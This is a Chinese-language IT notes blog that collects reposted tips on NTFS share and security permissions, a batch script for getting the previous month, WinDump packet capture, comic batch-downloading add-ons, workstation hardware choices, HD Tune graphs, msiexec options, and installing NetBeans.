MIS-NOTE

權限寫入和修改的差異

2012-02-16T08:06:00.000-08:00

出處
http://www.pcview.org/forum/viewtopic.php?t=141

版權沒有；翻印不究。歡迎轉貼；註明出處即可!

寫在文章之前:
要進入[權限]的奧秘，你的作業系統必須是NT4；2K；XP PRO，必須是NTFS，必須採取傳統共用模式!

權限簡介初級篇

使用權限不是三言兩語可以說清楚的，
尤其是在加上使用者和群組關係時，更是錯縱複雜。

設定使用者權限；
要先弄清楚 <共用權限> 與 <安全性權限> 的不同。

本機登入只考慮 <安全性權限> ；無關 <共用權限>。

遠端存取(例如:網路芳鄰)則先看 <共用權限>，再和 <安全性權限>
做交集(也就是取其較嚴格的)。

假設你在某個資料夾要讓 [本機的其他使用者]
只讓他能:
1.可以看其中的檔案(讀取)
2.新增檔案或子資料夾(寫入)
3.更改已存在的檔案內容(寫入)
4.不可以刪除檔案或子資料夾

你對此資料夾該使用者的 <安全性權限> ；
就不能給其有 [修改] 或 [完全控制] 的權限，
只能給 [讀取及執行] + [寫入] + [清單資料夾內容]。

一旦給予至 [修改] 權限，他就一定有刪除的權限。

還有一個很重要的觀念要釐清:
以同樣檔名的檔案來覆蓋原始檔案；
在電腦是認為更改檔案內容；
只需最少有到 [寫入] 的權限即可。

然而，把原始檔案更改檔名；而不改變其內容，
在電腦卻認為是刪除原檔案後新增一個檔案!
這必須至少有 [修改] 的權限才可以實施的!!

所以，
如果你有一個資料夾是存放著非常重要的資料時，
建議你一再確認該資料夾「安全性」的有效帳戶，
只有你自己的帳戶擁有【完全控制】的權限，
其餘的本機帳戶給予[讀取] + [讀取及執行]即可!
如此可避免重要資料被修改或刪除的等不可預料的情形發生。
因為，根據「莫非定律」：主觀認為不會發生的事；就一定會發生，
而且一旦發生；通常都是最嚴重的情形!

還有，一台電腦在單機使用環境之下，切記除了Administrator外，
檯面上的登入帳戶擁有【系統管理員】權限的帳戶不要超過一個，
否則其他擁有【系統管理員】權限的帳戶，
可能會以取得檔案所有權的方式；重新設定讀取權限。

上述是單指本機多登入帳戶而言，如果是遠端存取呢?
我們以相同的例子來說明:

假設你在某個資料夾要讓 [網路芳鄰的使用者]
只讓他們能:
1.可以看其中的檔案(讀取)
2.新增檔案或子資料夾(寫入)
3.更改已存在的檔案內容(寫入)
4.不可以刪除檔案或子資料夾

因為遠端存取(例如:網路芳鄰)是先看 <共用權限>，
再和 <安全性權限>做交集(也就是取其較嚴格的)後才是有效權限。
以這個例子我們可以如此設定:

共用權限部份
你必須給該USER至少有 <變更> 的權限

安全性權限部份:
你給予該USER只有 <寫入> 的權限

如此設定之後，該USER在共用權限部份擁有 <變更> 的權限，
所以他能在該共享資料夾內新增及刪除檔案或子資料夾。

然而，他在安全性權限部份只擁有至 <寫入> 的權限，
所以他能新增檔案或子資料夾；卻不能刪除檔案或子資料夾。

因此，雖然他在共用權限部份擁有 <變更> 的權限，
但是在安全性權限部份卻沒有 <修改> 的權限。
我用表格來做整理；可能會比文字敘述更容易明白。

如下表:

----------------------共用權限<變更>-------安全性權限<寫入>

新增檔案或子資料夾----------可--------------------可

改變檔案內容----------------可--------------------可

刪除檔案或子資料夾-----------可-------------------不可

兩個權限作交集運算之後，取其較嚴格的限制之後得到這樣的結果:

可新增檔案或子資料夾；
可改變檔案內容；
不可刪除檔案或子資料夾 !

我們的目的達到了!

我知道你可能對權限一些名詞仍然有一些模糊，沒關係!我來做個整理:

完全控制--------→允許進行任何作業

修改------------→修改、刪除檔案(資料夾)內容，是僅次於完全控制的權限

讀取及執行------→讀取檔案外也可以執行其中的可執行檔

資料夾清單內容--→列出資料夾內的檔案名稱(這個權限為資料夾專用)

讀取------------→讀取檔案

寫入------------→可以修改檔案(資料夾)內容；但是不能刪除檔案(資料夾)

而資料夾『共用權限』中的「變更」，就是大約等於「修改」。

這其中就以 [修改] 最容易讓人混淆，
初學者很容易的依字面上想當然爾的認定:
我有一份檔案資料要讓同仁可以 {編輯更改} 其中的內容，所以要給他們有[修改] 的權限!這是相當大的誤解!!
[修改] 這個權限，
你可以把它想成是 [讀取及執行] 加上 [寫入] 再加上 [刪除] 的組合。
所以，它除了能{編輯更改}文件內容，也可以刪除整個文件或資料夾!

那你可能會說 [修改] 這裡我給它勾選 [拒絕] 不就得了?
NO! [拒絕] 這個命令不要顧名思義的隨便給它勾選，
在Windows NT系列裡 [拒絕] 的優先權大於 [允許] !
如上例:一旦勾選 [拒絕修改] 則連 [讀取及執行] 和 [寫入] 都一起拒絕了喔!
屆時該檔案是連看也不給人家看；更不要想說去編修或更改檔案了!

下回找時間我們再來聊如果除了使用者權限之外，
再加上群組權限時會有什麼情形發生!

[轉貼]如何用批次指令取得上個月的月份－修訂版

2012-01-27T12:46:00.000-08:00

出處

http://blog.xuite.net/emisjerry/tech/20191532

同事問了個問題：他的系統每天會建一個以月份為名的資料夾（如C:\Data\200809、C:\Data\200810等），裡面會放該月每天產生的系統檔案，如何用批次檔把上個月的每個資料夾裡的檔案都刪掉？如果寫支程式（如PowerShell）來做是很簡單，不過卻限制必須使用批次檔來做，這就有點難度了，因為Windows的批次指令實在陽春得可以。

最後測試出來的關鍵解決方法是使用 SET /A，/A 可以做數值運算（arithmetic）。

rem 把日期裡的斜線拿掉；2008/10/21→20081021
set Today=%DATE:/=%

rem 取回今天的年度月份；200810
set ThisMonth=%Today:~0,6%

rem 本月份減1取得上個月份
set /A LastMonth=%ThisMonth%-1

關鍵點解決了，剩下的就簡單了。

2008/10/23 修訂

有讀者反應若是一月份時程式會有錯，另外一月到九月是一個位數的月份，也要將之補成01~09的兩位數，因而補充以下的修訂版供參考。

@echo off
rem 把日期裡的斜線拿掉；2008/10/21→20081021
set Today=%DATE:/=%
set ThisYear=%Today:~0,4%
rem 取回今天的年度月份；200810
set ThisMonth=%Today:~4,2%
rem 本月份減1取得上個月份
set /A LastMonth=%ThisMonth%-1
rem 如果是1月份的話，要把年度減1
if "%LastMonth%"=="0" set /A ThisYear=%ThisYear%-1
if "%LastMonth%"=="0" set LastMonth=01
rem 如果是1月到9月時，左補零成為01~09
if "%LastMonth:~1,1%"=="" set LastMonth=0%LastMonth%
echo Year=%ThisYear%
echo Month=%LastMonth%

Ruby轉EXE

2011-12-26T16:47:00.000-08:00

Ocra Ruby 打包成執行檔

http://rubyforge.org/projects/ocra/

http://github.com/larsch/ocra/tree/master

http://rubyonwindows.blogspot.com/2009/05/ocra-one-click-ruby-application-builder.html

擷取封包

2011-12-23T17:28:00.000-08:00

要先安裝winpcap
http://www.winpcap.org/

windump

只顯示內容
windump -i 2 -s 0 -A > c:\1.txt

此行執行的意思
-i 2
是指定擷取第2張網卡

-s 0
擷取全部內容

-A > c:\1.txt
顯示ASCII存到c:\1.txt的檔案裡

WinDump手册
http://www.winpcap.org/windump/docs/manual.htm

http://tonysv.blogspot.com/2011/08/windump.html

http://www.4ucode.com/Study/Topic/1255819

Wireshark
http://jay-fva.blogspot.com/2010/06/wireshark.html
http://tw.myblog.yahoo.com/aa0000166/article?mid=34&prev=35&next=33
http://www.syscom.com.tw/ePaper_Content_EPArticledetail.aspx?id=107&EPID=164&j=3&HeaderName=%E7%A0%94%E7%99%BC%E6%96%B0%E8%A6%96%E7%95%8C
http://www.netadmin.com.tw/article_content.aspx?sn=0808050013

Hacker
http://www.scribd.com/doc/15041229/60/Tcpdump-Windump

[通用]漫畫批次下載技巧

2011-12-11T11:18:00.001-08:00

出處
http://yutrump.blogspot.com/2010/05/blog-post.html

http://playpcesor.blogspot.com/2010/03/autopager.html

http://playpcesor.blogspot.com/2008/03/downthemallfirefox.html

準備安裝 Mozilla Firefox及套件：
[必備]AutoPager(連續翻頁)
[必備]ImgLikeOpera(管理圖片顯示)
[必備]DownThemAll(下載管理)
[建議]AdBlock Plus(阻擋廣告)

步驟：
1. 首先用AdBlock Plus將網站廣告全阻擋。
2. 針對漫畫網站編寫翻頁規則。
3. 利用ImgLikeOpera將網站圖片全部阻擋顯示。
4. 用AutoPager連續顯示頁面(因為沒顯示圖片會很快載入所有頁面)
5. 用DownThemAll下載頁面內嵌圖片，並利用Item Number重新命名存檔。

AutoPager手動添加新的自動翻頁規則：

接著讓我們來看看如何自己添加新的自動翻頁規則，雖然乍看之下好像有很多語法，但是即使你不懂什麼叫做「XPath」也沒關係，因為AutoPager提供了非常直覺有效的規則建立工具。

來到某個還不支援自動翻頁的網站，例如商業周刊的官網，先隨便點進一篇需要翻頁閱讀的文章，確認網頁裡有下一頁等連結按鈕。接著打開AutoPager功能選單裡的【網站設定精靈】。

此時你會看到瀏覽器左方打開了一個規則設定欄位，雖然看起來實在有夠複雜，但是，你完全不用理會或修改欄位裡的任何東西！

我們只要看到這個規則設定畫面最上方的工具列，有兩個瞄準器工具：

選取連結（左邊那個）：點擊這個瞄準器，然後接著點擊網頁裡的「下一頁」連結即可，AutoPager就會自動幫你添加相應規則。
選取內容（右邊那個）：點擊這個瞄準器，然後接著圈選網頁裡的「主文內容」即可，AutoPager會自動幫你添加相應規則。

是的，這樣就好了！是不是非常簡單呢？而且，我建議大多時候只要利用〔選取連結〕的瞄準器即可，瞄準網頁裡的下一頁切換項目，所有的規則都可以幫你寫好，你一個程式碼都不需要動到。（〔選取內容〕功能只有在合併版面讓你很不滿意時才使用來過濾出真正的主文區塊。）

另外值得一提的是，雖然你是在某個特定網頁裡建立這個規則，但是AutoPager很聰明的會幫你把規則套用到整個主網站中！所以即使你是在某一篇文章裡建立這個規則，但以後這個網站所有文章都能適用自動翻頁。

利用兩個瞄準工具完成設定，按下〔打勾〕圖示儲存規則，第一次建立新的設定檔時會要你輸入用戶名稱，隨便輸入一個按下確定，以後這個新規則就生效囉！

DownThemAll

只要在網頁中隨便一個地方點擊滑鼠右鍵，選擇【DownThemAll】，就會出現如圖所示的下載清單，下方有過濾的選項，你可以一次性的點選想下載的內容。

BlueScreenView 1.45 免安裝中文版 - 重現藍底白字畫面

2011-12-08T10:37:00.001-08:00

http://azo-freeware.blogspot.com/2009/08/bluescreenview-100.html

安全又不影響速度，無線加密 WPA、WPA2 怎麼選？

2011-12-07T07:52:00.001-08:00

http://www.techbang.com.tw/posts/7722-adv-research-wireless-encryption-the-same-speed-iqmore

[轉貼]繪圖、剪輯、後製、3D繪圖、算圖機

2011-11-29T17:18:00.001-08:00

http://www.ptt.cc/bbs/PC_Shopping/M.1302605330.A.A99.html

作者: david429 () 看板: PC_Shopping
標題: [建議] 繪圖、剪輯、後製、3D繪圖、算圖機
時間: Tue Apr 12 18:48:46 2011

這算是小弟一直長久以來想發的文，之所以會發這篇文章，
是因為發現板上比較缺乏對於動畫與繪圖這方面詳細敘述且正確的菜單。
也曾經因此跟不少亂開菜單的板友戰文過。

尤其在看見神龍大也有電腦菜單這方面的需求時，
我不禁滴下了一滴眼淚，了解即使是神也是會有需求的。

便決定好好的寫一篇關於繪圖、3D動畫、算圖，多媒體相關菜單這方面的文章。

文章內容多經過研究與測試才有的結論，
若是有任何敘述不詳盡，不正確的地方，還請各位鄉民指教。

----------------------------------------------------------------------------
以下分為  繪圖、剪輯、後製、3D、算圖(運算) 等五大類電腦菜單機種去說明
----------------------------------------------------------------------------

1.基本繪圖機  PhotoShop  Illustrator

CPU： ★
此類型機種，CPU一般常態負荷量不會太吃緊，四核四執行續 就很夠用了。

記憶體： ★★

繪製大型圖檔、多圖層、或是多開檔案時非常吃記憶體。
在Windows中，當記憶體不夠用時，會將緩存暫存至硬碟上，
硬碟的讀寫與操作時間就是讓電腦運行變慢的主因，所以記憶體越大越好。
當然記憶體不是絕對必須，要看你所繪製的圖檔大小與圖層多寡。

硬碟： ★★

假如常常因為存檔讀檔花很多時間的話，建議可以加一顆SSD，
設為快取專用，與工作檔案儲存用。

顯示卡： ★

顯示卡部分其實中階低階款即可，單純繪圖的話，對這部分不要求。
---------------------------------------------------------------------------
2.剪輯專用機  Premiere  Vegas  Avid  Edius

CPU：  ★★

此類型機種，在輸出時常常會需要壓縮會需要到四核八執行續，或是六核、八核。
但是主要還是看硬碟的速度是否跟得上。

記憶體： ★★

在這些軟體中，有會將Preview的部分，Cache在記憶體中，
記憶體越大，可以Preview的長度越長，但不是絕對必須。

硬碟：  ★★★

大部分影片在輸出時，因為都會剪很多Layer，所以大都是卡在硬碟速度，
尤其是Full HD，隨隨便便就10幾G的檔案，非常吃硬碟。
且影像檔都很大，所以建議硬碟容量要大，速度要快。

可以分兩顆以上的磁碟?[1mA一顆儲存用，一顆放當前工作檔案用，
工作檔案用的那顆磁碟，速度越快越好，可以組 Raid 0，
或是裝SSD，存取速度對於輸出速度上有決定性的影響！

顯示卡：  ★

顯示卡部分其實中階低階款即可，單純剪輯的話，對這部分不要求。
個人建議是 Nvidia家的顯示卡，主要是 CUDA 的技術，
Adobe系列在壓縮輸出方面可以幫助不少，在此就不詳述了。
---------------------------------------------------------------------------
3.後製、動畫機  AfterEffects Nuke Combustion

CPU：  ★★★

此類型機種，在輸出時常常會需要壓縮會需要到四核八執行續，或是六核、八核。
但是主要還是看硬碟的速度是否跟得上。

記憶體：  ★★★

在AE中，Preview的部分，是直接Cache在記憶體中，
記憶體越大，可以Preview的長度越長，建議一定要裝到滿，這方面不能省。

硬碟： ★★

大部分影片在輸出時，因為都會剪很多Layer，所以大都是卡在硬碟速度，
且影像檔都很大，所以建議硬碟容量要大，速度要快。
可以分兩顆以上的磁碟，一顆儲存用，一顆放當前工作檔案用，
工作檔案用的那顆磁碟，速度越快越好，可以組 Raid 0，
或是裝 SSD存取速度對於輸出速度上有決定性的影響！

顯示卡： ★★

顯示卡部分其實中階款即可，單純AE的話，對這部分不要求，
不過AE會吃很多特效，依照外掛不同主要使用CUDA的技術與OPENGL，
顯示卡還是不宜買太差的。

還是老話一句，個人建議是 Nvidia家的顯示卡，

---------------------------------------------------------------------------
4.3D動畫、美術製作、室內設計繪圖機  3dsMax  Maya  Softimage

CPU： ★★★
算圖與操作指令時CPU有決定性的影響，多半的外掛與指令都還是只有支援單執行續，
算圖都有支援多核心算圖，建議執行續越多越好，四核八執行續，或是六核、八核。
以 i5 750(四核四執行續)比i7 860(四核八執行續)同時脈下，算圖效能比約1:1.5。

記憶體： ★★★

在3D中影響到操作上速度主要是  Shader > 貼圖量 > 動畫 > 物件量 > 面數

Shader是指Viewport下的光影顯示，由顯示卡運算，
Viewport時的貼圖顯示量與面數則是儲存在 "顯示卡的記憶體中"，
動畫與物件量，則是儲存在電腦的記憶體中，

所以顯示卡越快，顯示記憶體越大，對於操作時的流暢度會有越大的幫助，
而記憶體越大，當物件量，與動畫越多時，越可以提共順暢的操作，
假如當動畫量大到超出記憶體，則會緩存在硬碟上，這時SSD就非常有幫助了。

硬碟：  ★

硬碟建議買越大越好，輸出的圖檔跟分層隨便便就超過100GB以上，
假如有用大量的粒子特效(Cache)，會需要高速的硬碟與大量的硬碟空間，
建議有預算的話可買顆SSD當作工作碟來用。
假如只是純粹3D建模，硬碟普通就可以了。

顯示卡：  ★★★

別再相信那些亂開菜單的人，說做3D就要用專業繪圖卡的說法
除非你有確定使用的軟體，對於繪圖卡有全面性且必要性的支援，
不然買中高階遊戲卡就好，面數不高的話中階即可。

做3D一定要用繪圖卡，那已經是五六年前的事情了！
現在很多遊戲卡的效能已經遠遠超越相同價位的繪圖卡了。

顯示卡越快，顯示記憶體越大，對於操作時的流暢度會有越大的幫助，

顯示卡的話，一定要買 Nvidia家的。
對於3D方面，已經有很多決定性的功能，都只有Nvidia家才有完全支援。

首先，Max 2012、Maya 2012都有內建 MassFX (PhysX)
這是一個"即時物理模擬"的系統，Max 2011也有 PhysX 的 Beta 可以使用
這之中 Realtime 的物理模擬，與布料模擬。

即時的模擬會是動畫未來的需求與功能之一。

---------------------------------------------------------------------------
5.3D運算機  3dsMax  Maya  Softimage  Realflow  Houdini

CPU：  ★★★

運算時CPU有決定性的影響，算圖都有支援多核心算圖，
建議執行續越多越好，四核八執行續，或是六核、八核。

但還有許多運算方面，像是 Maya nCloth 或是 Max Hairfarm在模擬時
僅使用單一執行續，不過3D運算機還是越多核心越好。

以 i5 750(四核四執行續)比i7 860(四核八執行續)同時脈下，算圖效能比約1:1.5。

針對算圖而言，買專門的 RenderFarm 機型 是一個浪費錢的決定，
除了可以放在機櫃中，與微乎其微的穩定性差異外，沒有任何的好處，

算圖時CPU超頻，CPU頂多熱當外，是不會"算錯"的，一般錯誤的觀念，以為會算錯圖，
在穩定的超頻狀況下，超頻往往可以用更節省的成本，去達到更高的效益。
以 Intel i7 860 而言，大概可以穩定超頻達1.3倍的效能，當然還是看體質。

記憶體：  ★★

記憶體越大越好，算圖時，所有的貼圖都會預載到記憶體中，
模擬時的動畫，也會儲存到記憶體中。
當記憶體不夠時，就會吃到硬碟上，吃到硬碟上，算圖的效率就會大大降低。

硬碟：  ☆

硬碟影響不大，網路算圖時甚至不吃本機硬碟存取，除非貼圖量超過記憶體能負荷的量。

顯示卡：  ☆

要是不需要操作，單純做運算的話，可以使用內顯即可。
--------------------------------------------------------------------------

 比較圖表
┌────┬────┬────┬────┬────┬────┐
│        │  繪圖  │  剪輯  │  後製  │ 3D繪圖 │  算圖  │
├────┼────┼────┼────┼────┼────┤
│  CPU   │   ★   │  ★★  │ ★★★ │ ★★★ │ ★★★ │
├────┼────┼────┼────┼────┼────┤
│ 記憶體 │  ★★  │  ★★  │ ★★★ │ ★★★ │  ★★  │
├────┼────┼────┼────┼────┼────┤
│  硬碟  │  ★★  │ ★★★ │  ★★  │   ★   │   ☆   │
├────┼────┼────┼────┼────┼────┤
│ 顯示卡 │   ★   │   ★   │  ★★  │ ★★★ │   ☆   │
├────┼────┼────┼────┼────┼────┤
│建議預算│ $20000 │ $25000 │ $30000 │ $30000+│ $20000 │
└────┴────┴────┴────┴────┴────┘

總結：

本篇中並無詳細敘述菜單，主要是針對多媒體動畫這方面類型需求，
給有需要的人一點參考的空間，菜單的話由眾多的鄉民提供則是最好不過了

我做動畫將近六年了，目前在動畫公司，主要是撰寫外掛與解決效能方面的問題。
以上許多都是經過實際測試得到的結果 ，藉以給給裝機的人作為參考。

我並不是 Nvidia 的粉絲，以前也用Ati9200、9550、X800...
不過在 Nvidia 開始重視多媒體這塊市場後，他們寫了許多非常有幫助的系統與支援
因此才會大推 Nvidia。

以往物理模擬要花20個小時運算的東西，如今都Realtime了，等待的時間節省不少。

HD tune的曲線要如何解讀

2011-11-29T16:50:00.001-08:00

http://www.ptt.cc/bbs/Storage_Zone/M.1235318481.A.BF7.html

幾個重點:
藍線的最大值: 越大越好，這是對於連續檔案的最大讀取速率
    也就是右邊的"傳輸速度-最大值"
    現在的硬碟(大概80GB以上)，應該都在60MB以上
    至於垂直錄寫硬碟(250GB以上)，應該都要超過80MB以上
藍線的下降幅度: 越小越好，指的是內外圈的最大讀取速度差
    不過因為現在的硬碟都是圓盤固定密度,所以這個幅度其實是定值
黃點的平均值: 越小越好，指的是搜尋到一筆資料所需要的準備時間
    或者用另外一種說法是「磁頭定位時間」
    也就是右邊的"存取時間"
    正常的7200轉硬碟, 大約是12~16ms
    暴龍萬轉硬碟(也就是範例圖這顆), 可以到7~10ms
    至於15000轉硬碟, 則可以下探4~6ms
黃點的離散程度: 越密集越好, 代表搜尋資料所需要的時間穩定
    請看圖，扣掉那些孤零零的點(離群點), 剩下的點越集中在一條曲線上
    代表硬碟的搜尋時間越穩定
黃線的上升幅度: 越小越好，指的是內外圈的搜尋時間差
    同藍線下降幅度，這個幅度基本上應該各硬碟都一樣

Windows Installer

2011-10-13T11:33:00.000-07:00

Windows ® Installer。V 5.0.7600.16385

msiexec /Option <必要的參數> [選擇性參數]

安裝選項

安裝或設定產品

系統管理安裝 - 在網路上安裝產品

/j [/t ] [/g ]

通告產品 - m 來通告所有使用者，u 來通告目前使用者

解除安裝產品

顯示選項

/quiet

安靜模式，不需使用者互動

/passive

自動安裝模式 - 只有進度列

/q[n|b|r|f]

設定使用者介面層級

n - 無 UI

b - 基本 UI

r - 精簡 UI

f - 完整 UI (預設值)

/help

說明資訊

重新開機選項

/norestart

在安裝完成後不要重新開機

/promptrestart

如果需要則提示使用者來重新開機

/forcerestart

在安裝後自動重新開機

記錄選項

/l[i|w|e|a|r|u|c|m|o|p|v|x|+|!|*]

i - 狀態訊息

w - 非嚴重警告

e - 所有錯誤訊息

a - 動作起始時

r - 特定動作記錄

u - 使用者要求

c - 初始 UI 參數

m - 記憶體用盡或嚴重結束資訊

o - 磁碟空間用盡訊息

p - 終端機內容

v - 詳細資訊輸出

x - 額外偵錯資訊

+ - 附加到現存記錄檔案

! - 清除每行到記錄

* - 記錄所有資訊，除了 v 和 x 選項

/log

跟 /l* 相同

更新選項

/update [;Update2.msp]

套用更新

/uninstall [;Update2.msp] /package

為產品移除更新

修復選項

/f[p|e|c|m|s|o|d|a|u|v]

修復產品

p - 只有在檔案遺失

o - 如果檔案遺失或已安裝了較舊的版本 (預設值)

e - 如果檔案遺失或已安裝了相同或較舊的版本

d - 如果檔案遺失或已安裝了不同的版本

c - 如果檔案遺失或總合檢查碼跟計算的數值不相符

a - 強制重新安裝所有檔案

u - 所有需要的使用者特定的登錄項目 (預設值)

m - 所有需要的電腦特定的登陸項目 (預設值)

s - 所有現存的捷徑 (預設值)

v - 從來源執行並重新快取封裝

設定公用屬性

[PROPERTY=PropertyValue]

請參閱 Windows ® Installer SDK 以取得其他命令列語法的文件。

本軟體部分內容根據 Independent JPEG Group 的部分作品。

範例

msiexec /i {path to package} /qb!

出處

http://www.art.ntnu.edu.tw/z/software/office2003/PRO/SETUP.HTM

安裝命令列選項及屬性

執行安裝程式時，可使用命令列選項來變更部份安裝程式用來安裝應用程式的參數，如安裝屬性的顯示設定及預設值。

安裝程式及 Windows Installer 使用屬性來控制應用程式安裝處理。安裝屬性的預設值定義於 Windows Installer 封裝 (MSI 檔案) 中。您可在命令列或安裝設定檔 (Setup.ini) 中指定新的屬性值。

附註在大部份狀況下，命令列選項會覆寫安裝設定檔 (Setup.ini) 或轉換 (MST 檔案) 中的重複自訂。所有 MSI 檔案皆不支援命令列選項及屬性。

/noreboot

/settings

property=value

/a [msifile]

建立所指定封裝 (MSI 檔案) 的管理安裝點。封裝必須與 Setup.exe 位在相同的資料夾中，且皆必須在管理安裝點的根目錄中。

範例：

/a My.msi

/a "subfolder1\My.msi"

/f[options][msifile]

強制修復與所指定封裝 (MSI 檔案) 相關的應用程式。封裝必須與 Setup.exe 位在相同的資料夾中，且皆必須在管理安裝點的根目錄中。或也可指定封裝的產品代碼，產品代碼可從安裝設定檔的 [Product] 區段複製而來。

附註必須指定原來用來安裝應用程式的相同封裝。

有效的 options 如下：

a	強制所有檔案重新安裝，不管總和檢查碼或版本的結果。
c	如果檔案遺失或損毀，則重新安裝檔案。
d	如果檔案遺失或版本不同，則重新安裝檔案。
e	如果檔案遺失或與版本相同或較舊，則重新安裝檔案。
m	重新寫入所有必要的 HKEY_LOCAL_MACHINE 登錄項目。
o	如果檔案遺失或版本較舊，則重新安裝檔案。
p	只有在檔案遺失時才重新安裝檔案。
s	重新安裝所有捷徑，並覆寫現有的捷徑。
u	重新寫入必要的 HKEY_CURRENT_USER 登錄項目。
v	從原始來源擷取封裝，並在本機電腦上重新快取它。

應用程式中的 [偵測] 和 [修復] 命令和 /focums 執行相同的功能。執行安裝程式並選取 [重新安裝]，則與 /fecums 執行相同的功能。安裝時，Windows Installer 將在本機電腦上儲存 MSI 檔案。使用 /fvm 選項來強制重新快取及重新安裝時，Windows Installer 會在本機電腦上，從原始來源擷取 MSI 檔案並重新快取它。在修補管理安裝點後，您可以使用 /fvm 選項來更新用戶端電腦。

重要事項 如果使用者將用戶端 (二進位) 修補程式套用到電腦上，則無法使用 /f 在那部電腦上，從更新的管理安裝點進行重新快取和重新安裝。在這種情況下，使用者必須從更新的管理映像進行解除安裝並重新安裝。

範例：

/fpiwae My.msi

/fvm {12345678-1234-1234-1234-123456789123}

/i [msifile]

使用指定的封裝安裝應用程式。封裝必須與 Setup.exe 位在相同的資料夾中。

附註 Setup.exe 預設會引導 Windows Installer 執行與 /i 相同的功能。

範例：

/i My.msi

/i "subfolder1\My.msi"

/j[option] [msifile] [/t mstfile]

請於第一次使用時，在電腦上通告並安裝應用程式；您必須指定選項以對電腦或使用者通告此應用程式。只有從管理安裝點或從網路的 CD 映像執行安裝程式時，才可以使用 /j。如果未指定封裝，安裝程式將使用 Setup.ini 中指定的封裝。若要將轉換套用到通告的應用程式，請使用 /t 選項並指定 MST 檔案。

有效的 option 值包括下列：

m	通告電腦上的所有使用者。
u	通告目前的使用者。

附註除了 /t 以外，使用 /j 以通告應用程式時，可以使用下列三個命令列選項：/l、/q 及 /settings。

範例：

/jm My.msi /t Custom.mst

/l[options] logfile

建立安裝程式之安裝動作的記錄，及每個 Windows Installer 作業的記錄檔。/l 選項會覆寫 Setup.ini 的 [Logging] 區段中指定的預設設定。

options 值如下，並擷取對應的資料：

a	開始動作通知
c	初始化 UI 參數
e	錯誤訊息
i	僅資訊訊息
m	記憶體不足訊息
o	磁碟空間不足訊息
p	格式為「屬性=值」的屬性表
r	動作資料記錄；包含動作特有的資訊
u	使用者要求訊息
v	包含偵錯訊息的詳細資訊
w	警告訊息
*	開啟除了 v 以外的所有記錄選項
+	附加到現有的記錄檔

Logfile 指示要建立的記錄檔的名稱和路徑。在記錄檔名稱中包含 (*) 時，安裝程式會為每個安裝程式執行個體建立唯一的檔名。

範例：

/lv* "%temp%\MyApp Setup(*).txt"

這個命令列會建立下列記錄檔：

Setup.exe 記錄檔
"%temp%\MyAppSetup(0001).text"

核心封裝的 Windows Installer 記錄檔
"%temp%\MyApp(0001)_Task(0001).txt"

/noreboot

安裝結束時，請不要重新啟動電腦，或顯示重新啟動對話方塊。/noreboot 選項會將安裝中所含的所有封裝 (除了最後一個以外) 的 Windows Installer REBOOT 屬性設定為 ReallySuppress。

/p [mspfile]

將管理更新 (MSP 檔案) 套用到用戶端安裝中。併入 /a 選項及管理安裝點上之 MSI 檔案的名稱及路徑，也可以使用 /p 將更新套用到管理安裝中。若要自動套用該修補程式，請在命令列中併入 /qb；若要產生記錄檔，則請併入 /l。

範例：

msiexec /p [mspfile] /qb /l[options]

msiexec /p [mspfile] /a [msifile] /qb /l[options]

/q[option]

設定安裝程式使用者介面的顯示層級。

有效的 options 如下：

b	僅顯示簡單的進度指標及錯誤訊息 (基本)。
f	顯示所有的對話方塊及訊息；與省略 /q 選項相等 (完整)。
n	不顯示使用者介面；指定不含選項 (無) 的 /q 相等。
r	顯示所有的進度指標及錯誤訊息，但不收集使用者資訊 (精簡)。
-	不顯示所有強制回應的對話方塊；僅與 b 搭配使用。
+	將完成訊息新增到 n 或 b 選項。

附註完成訊息僅在安裝程式不需要重新啟動電腦時顯示。

/settings file

指定用於 Setup.exe 的自訂安裝程式設定檔，以取代 Setup.ini。此設定檔必須與 Setup.exe 位在相同的資料夾中，或必須將路徑併入命令列中。

範例：

/settings MyApp.ini

/x [msifile]

移除與指定的封裝關聯的應用程式。封裝必須與 Setup.exe 位在相同的資料夾中，且皆必須在管理安裝點的根目錄中。

附註您必須指定與原本用來安裝應用程式的相同封裝。

範例：

/x My.msi

property=value

在命令列中指定屬性值。如果該值含有空格，請將它用雙引號 (") 括住。若要指定二或多個屬性值組，請將它們以空格隔開。

ALLUSERS=[string]	為電腦的所有使用者或僅為目前的使用者安裝應用程式。Windows Installer 預設會為電腦的所有使用者進行安裝。將 ALLUSERS 設定為空白的值 ("") 會覆寫該預設行為，並為每個使用者進行安裝。 1 = 為電腦的所有使用者進行安裝；需要有系統管理權限。 2 = 為電腦的所有使用者進行安裝。 "" = 僅為執行安裝程式的使用者安裝。 ALLUSER=""
CDCACHE=[string]	指定快取的層級。 Auto = 根據可用的磁碟空間快取 1 = 僅快取安裝的部分 2 = 快取整個來源 0 = 停用快取 CDCACHE=auto
COMPANYNAME=[string]	指定組織名稱。 COMPANYNAME=公司名稱
INSTALLLOCATION=[string]	指定安裝位置。 INSTALLLOCATION=C:\Program Files\MyApp
LOCALCACHEDRIVE=[string]	指定要快取安裝檔案的磁碟機。 LOCALCACHEDRIVE=C
PIDKEY=[string]	在安裝命令列或安裝設定檔中輸入 25 個字元的大量授權金鑰。設定 PIDKEY 屬性時，安裝時即不會要求使用者輸入產品金鑰。 PIDKEY=123467890123456789012345
TRANSFORMS=[string]	指定要套用到安裝的轉換。 TRANSFORMS=\\server\share\myApp\Custom.mst
USERNAME=[string]	指定預設的使用者名稱。 USERNAME=Don Dunk

netbeans install on ubuntu

2011-09-19T13:38:00.000-07:00

http://linuxhub.net/2010/06/install-netbeans-on-ubuntu-10-04/

Installation

In order to install NetBeans, you will need Sun Java installed on your machine. Make sure you have JDK installed before you begin the installation process.

1. Download NetBeans 6.9 from NetBeans download page

You can select the version you want. I selected the complete version.

2. Once you have downloaded Open a terminal window and navigate to your Download directory (where you downloaded NetBeans installer script). Once you are at your download directory, type the following command to begin the installation.

1.sh netbeans-6.9rc2-ml-linux.sh

3. This should initiate the installation process.

Installation

In order to install NetBeans, you will need Sun Java installed on your machine. Make sure you have JDK installed before you begin the installation process.

1. Download NetBeans 6.9 from NetBeans download page

You can select the version you want. I selected the complete version.

1.sh netbeans-6.9rc2-ml-linux.sh

3. This should initiate the installation process.

test

2011-09-03T17:18:00.000-07:00

http://support.microsoft.com/kb/947215/zh-tw

http://windows.microsoft.com/zh-tw/Windows7/Fix-a-corrupted-user-profile

當Chrome當掉的時候....

2011-08-17T07:42:00.000-07:00

http://homsanfreelife.blogspot.com/2010/11/chrome.html

視您的作業系統而定，在文字欄位中輸入下列其中一個目錄︰
Windows XP：%USERPROFILE%\Local Settings\Application Data\Google\Chrome\User Data\
Windows Vista(7)：%LOCALAPPDATA%\Google\Chrome\User Data\
